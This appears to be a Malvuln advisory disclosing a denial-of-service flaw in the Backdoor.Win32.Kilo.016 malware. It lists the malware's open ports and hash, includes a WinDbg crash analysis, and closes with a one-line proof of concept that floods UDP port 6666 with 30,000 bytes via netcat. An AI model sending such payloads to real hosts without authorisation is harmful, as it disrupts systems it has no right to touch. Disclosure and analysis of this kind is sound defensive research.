Authored by malvuln | Site malvuln.com

Backdoor.Win32.Kilo.016 malware suffers from a denial of service vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9ede6951ea527f96a785c5e32b5079e6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kilo.016
Vulnerability: Denial of Service (UDP Datagram)
Description: The malware listens on TCP ports 6712, 6713, 6714, 6715, 7722, 15206, 15207, 16712 and UDP 6666. Attackers who can reach an infected host can send a large payload to UDP port 6666 causing a disruption in service.
Family: Kilo
Type: PE32
MD5: 9ede6951ea527f96a785c5e32b5079e6
Vuln ID: MVID-2022-0546
Disclosure: 04/14/2022

Memory Dump:
(1ab8.1368): Access violation - code c0000005 (first/second chance not available)
eax=000a1078 ebx=000a1048 ecx=0047b094 edx=000a1078 esi=000a11a0 edi=00000000
eip=776e9fab esp=000a0fc8 ebp=000a100c iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56 push esi

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
KERNELBASE!RaiseException+62
74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h]

EXCEPTION_RECORD: 0019f788 -- (.exr 0x19f788)
ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: 0eedfade
ExceptionFlags: 00000003
NumberParameters: 7
Parameter[0]: 00413c5f
Parameter[1]: 06e39bb8
Parameter[2]: ffffffff
Parameter[3]: 004104f0
Parameter[4]: 042e2d94
Parameter[5]: 0019fd0c
Parameter[6]: 0019fcc8

PROCESS_NAME: Backdoor.Win32.Kilo.016.9ede6951ea527f96a785c5e32b5079e6

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 000a0fc4

WRITE_ADDRESS: 000a0fc4

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
74a10890 8bff mov edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0019f7d8 -- (.cxr 0x19f7d8)
eax=0019fc38 ebx=ffffffff ecx=00000007 edx=00000000 esi=004104f0 edi=042e2d94
eip=74a108f2 esp=0019fc38 ebp=0019fc94 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc8c=955c75b1
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 0046ea76 to 74a108f2

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:
0019fc38 74a108f2 kernelbase!RaiseException+0x62
0019fd14 0046ea76 backdoor_win32_kilo_016+0x6ea76
0019fd6c 0046e995 backdoor_win32_kilo_016+0x6e995
0019fd88 7720e0bb user32!_InternalCallWinProc+0x2b
0019fdb4 77218849 user32!InternalCallWinProc+0x20
0019fdd8 7721b145 user32!UserCallWinProcCheckWow+0x1be
0019fea8 772090dc user32!DispatchMessageWorker+0x4ac
0019ff14 772038c0 user32!DispatchMessageA+0x10
0019ff1c 0044fc8c backdoor_win32_kilo_016+0x4fc8c
0019ff70 004d87b2 backdoor_win32_kilo_016+0xd87b2
0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME: kernelbase!RaiseException+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME: KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: .cxr 000000000019F7D8 ; kb ; dds 19fc38 ; kb

FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0


Exploit/PoC:
python -c "print('A'*30000)" | nc64.exe x.x.x.x 6666 -c -u


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